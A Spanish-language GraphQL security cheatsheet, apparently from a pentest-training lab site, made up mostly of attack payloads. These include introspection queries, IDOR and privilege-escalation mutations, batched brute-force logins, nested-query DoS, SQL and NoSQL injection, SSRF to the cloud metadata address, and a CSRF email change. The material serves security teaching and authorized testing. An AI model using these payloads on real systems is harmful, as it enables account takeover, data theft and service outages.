Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet GraphQL

Seguridad en APIs GraphQL

Referencia rápida

  • Si la introspeccion esta deshabilitada, usar clairvoyance con wordlists para descubrir el schema
  • Batch queries permiten bypass de rate limit enviando multiples operaciones en una request
  • Aliases permiten enumerar IDs de otros usuarios sin enviar multiples requests HTTP
  • Probar cambiar Content-Type a application/x-www-form-urlencoded para CSRF en GraphQL
  • Los campos que no se muestran en el frontend pueden existir en el schema - siempre hacer introspeccion

Introspeccion y descubrimiento

Query de introspeccion completa

{__schema{types{name,fields{name,args{name,type{name}}}}}}

Introspeccion detallada

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types { name kind fields { name type { name kind ofType { name } } } }
  }
}

Buscar tipo especifico

{__type(name:"User"){name,fields{name,type{name}}}}

Listar directivas

{__schema{directives{name,description,locations}}}

Introspeccion deshabilitada - probeSi __typename funciona pero __schema no, la introspeccion esta parcialmente bloqueada

query { __typename }

IDOR y autorizacion

Acceder a datos de otro usuario

query { user(id: "victim-uuid") { email password role } }

Aliases para enumerar IDsAliases permiten multiples queries en una sola request

query {
  a: user(id: "1") { email }
  b: user(id: "2") { email }
  c: user(id: "3") { email }
}

Mutation sin autorizacion

mutation { updateUser(id: "victim-id", input: { role: "admin" }) { id role } }

Acceso a campos sensiblesEl schema puede exponer campos que no deberian ser accesibles

query { user(id: "my-id") { email passwordHash apiKey secretToken } }

Batch attacks y DoS

Batch query para brute forceBypass de rate limit: multiples logins en una sola request HTTP

[
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass1\") { token } }"},
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass2\") { token } }"},
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass3\") { token } }"}
]

Deep nesting DoSQueries profundamente anidadas pueden consumir recursos del servidor

query { user { posts { comments { author { posts { comments { author { name } } } } } } } }

Circular reference DoS

query { user { friends { friends { friends { friends { name } } } } } }

Field duplication1000 campos duplicados para sobrecargar el resolver

query { user { name name name name name name name name name name } }

Injection en GraphQL

SQLi en argumento

query { user(name: "admin' OR '1'='1") { id email } }

NoSQLi en filtro

query { users(filter: {email: {$ne: ""}}) { id email } }

SSRF via campo URL

mutation { importData(url: "http://169.254.169.254/latest/meta-data/") { result } }

CSRF en GraphQLSi el endpoint acepta urlencoded ademas de JSON

Content-Type: application/x-www-form-urlencoded
Body: query=mutation{changeEmail(email:"attacker@evil.com")}

Herramientas

GraphQL Voyager

Visualizador interactivo del schema GraphQL para entender la API

Cargar schema en https://graphql-kit.com/graphql-voyager/

InQL (Burp)

Extension de Burp para analisis automatizado de endpoints GraphQL

Burp Suite > Extensions > InQL > Point to /graphql

graphql-cop

Auditor de seguridad GraphQL que detecta misconfigurations comunes

python3 graphql-cop.py -t https://target.com/graphql

clairvoyance

Obtener schema GraphQL cuando la introspeccion esta deshabilitada

python3 -m clairvoyance -u https://target.com/graphql -w wordlist.txt

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica